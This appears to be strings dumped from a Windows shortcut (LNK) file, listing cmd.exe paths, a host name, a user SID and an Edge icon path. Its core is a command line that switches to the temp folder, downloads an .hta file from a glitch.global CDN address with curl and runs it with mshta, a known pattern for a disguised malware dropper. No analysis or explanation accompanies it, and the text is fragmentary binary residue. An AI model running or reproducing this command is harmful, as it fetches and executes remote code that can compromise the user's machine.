Windows
System32
cmd.exe
C:\Windows\System32\cmd.exe
desktop-ddkkbvd
3Windows
System32
vcmd.exe
/c cd /d %temp% && curl -O https://cdn.glitch.global/2eefa6a0-44ff-4979-9a9c-689be652996d/sfmw.hta?v=2 && mshta %temp%\sfmw.hta9%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe
System32(C:\Windows)
S-1-5-21-562716708-1852219092-3008136222-1001
cmd.exe
C:\Windows\System32\cmd.exe